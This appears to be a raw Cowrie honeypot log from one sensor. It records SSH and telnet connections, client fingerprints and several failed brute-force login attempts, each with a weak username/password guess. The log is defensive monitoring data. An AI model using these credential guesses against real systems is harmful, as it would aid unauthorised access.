{"eventid":"cowrie.session.connect","src_ip":"126.209.76.205","src_port":53582,"dst_ip":"159.203.135.109","dst_port":23,"session":"418eac8d2883","protocol":"telnet","message":"New connection: 126.209.76.205:53582 (159.203.135.109:23) [session: 418eac8d2883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:52.127160Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":37022,"dst_ip":"159.203.135.109","dst_port":22,"session":"a42b3c57d073","protocol":"ssh","message":"New connection: 31.59.89.180:37022 (159.203.135.109:22) [session: a42b3c57d073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:56.369913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:56.374665Z","src_ip":"31.59.89.180","session":"a42b3c57d073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:56.487228Z","src_ip":"31.59.89.180","session":"a42b3c57d073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123123","message":"login attempt [user/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:56.961897Z","src_ip":"31.59.89.180","session":"a42b3c57d073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:58.076859Z","src_ip":"31.59.89.180","session":"a42b3c57d073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.196.45.174","src_port":53360,"dst_ip":"10.17.0.5","dst_port":23,"session":"62ee142ef14d","protocol":"telnet","message":"New connection: 115.196.45.174:53360 (10.17.0.5:23) [session: 62ee142ef14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:44:59.916141Z"}
{"eventid":"cowrie.session.closed","duration":13.191479444503784,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:05.318537Z","src_ip":"126.209.76.205","session":"418eac8d2883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.285990238189697,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:12.201996Z","src_ip":"115.196.45.174","session":"62ee142ef14d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54870,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e8e89da609b","protocol":"ssh","message":"New connection: 159.203.92.129:54870 (159.203.135.109:22) [session: 5e8e89da609b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:24.671666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:24.683195Z","src_ip":"159.203.92.129","session":"5e8e89da609b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:24.694671Z","src_ip":"159.203.92.129","session":"5e8e89da609b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yingjunbiao","password":"Yingjunbiao123","message":"login attempt [Yingjunbiao/Yingjunbiao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:24.719094Z","src_ip":"159.203.92.129","session":"5e8e89da609b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:25.788083Z","src_ip":"159.203.92.129","session":"5e8e89da609b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":38488,"dst_ip":"159.203.135.109","dst_port":22,"session":"b369e3aab59d","protocol":"ssh","message":"New connection: 31.59.89.180:38488 (159.203.135.109:22) [session: b369e3aab59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:43.019419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:43.024847Z","src_ip":"31.59.89.180","session":"b369e3aab59d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:43.135559Z","src_ip":"31.59.89.180","session":"b369e3aab59d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"QwErTy","message":"login attempt [postgres/QwErTy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:43.609422Z","src_ip":"31.59.89.180","session":"b369e3aab59d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:44.724827Z","src_ip":"31.59.89.180","session":"b369e3aab59d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45292,"dst_ip":"159.203.135.109","dst_port":22,"session":"65797980d8fc","protocol":"ssh","message":"New connection: 80.94.92.186:45292 (159.203.135.109:22) [session: 65797980d8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:59.874547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:45:59.954555Z","src_ip":"80.94.92.186","session":"65797980d8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:00.060845Z","src_ip":"80.94.92.186","session":"65797980d8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:00.848368Z","src_ip":"80.94.92.186","session":"65797980d8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:02.073537Z","src_ip":"80.94.92.186","session":"65797980d8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39602,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9878b39067a","protocol":"ssh","message":"New connection: 159.203.92.129:39602 (159.203.135.109:22) [session: c9878b39067a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:08.357306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:08.403685Z","src_ip":"159.203.92.129","session":"c9878b39067a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:08.407750Z","src_ip":"159.203.92.129","session":"c9878b39067a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"You","password":"123456","message":"login attempt [You/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:08.537592Z","src_ip":"159.203.92.129","session":"c9878b39067a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:09.554112Z","src_ip":"159.203.92.129","session":"c9878b39067a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":56392,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ad6344e193","protocol":"ssh","message":"New connection: 31.59.89.180:56392 (159.203.135.109:22) [session: 03ad6344e193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:29.148758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:29.153510Z","src_ip":"31.59.89.180","session":"03ad6344e193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:29.260740Z","src_ip":"31.59.89.180","session":"03ad6344e193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest01","message":"login attempt [guest/guest01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:29.722828Z","src_ip":"31.59.89.180","session":"03ad6344e193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:30.833872Z","src_ip":"31.59.89.180","session":"03ad6344e193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.205.177","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49c9d9b6372","protocol":"telnet","message":"New connection: 46.101.205.177:47134 (10.17.0.5:23) [session: d49c9d9b6372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:42.445585Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.205.177","src_port":47135,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fceba36a2d","protocol":"telnet","message":"New connection: 46.101.205.177:47135 (10.17.0.5:23) [session: 69fceba36a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:42.450222Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.205.177","src_port":47138,"dst_ip":"10.17.0.5","dst_port":23,"session":"190972af87f9","protocol":"telnet","message":"New connection: 46.101.205.177:47138 (10.17.0.5:23) [session: 190972af87f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:42.469911Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.205.177","src_port":47139,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d61cfa5d95b","protocol":"telnet","message":"New connection: 46.101.205.177:47139 (10.17.0.5:23) [session: 1d61cfa5d95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:42.474550Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.205.177","src_port":47177,"dst_ip":"10.17.0.5","dst_port":23,"session":"a21f1027469c","protocol":"telnet","message":"New connection: 46.101.205.177:47177 (10.17.0.5:23) [session: a21f1027469c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:43.428523Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.205.177","src_port":47175,"dst_ip":"10.17.0.5","dst_port":23,"session":"a83328d2c9ed","protocol":"telnet","message":"New connection: 46.101.205.177:47175 (10.17.0.5:23) [session: a83328d2c9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:43.433210Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56200,"dst_ip":"159.203.135.109","dst_port":22,"session":"f41305057012","protocol":"ssh","message":"New connection: 159.203.92.129:56200 (159.203.135.109:22) [session: f41305057012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:50.478382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:50.482759Z","src_ip":"159.203.92.129","session":"f41305057012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:46:50.487593Z","src_ip":"159.203.92.129","session":"f41305057012","protocol":"ssh"}
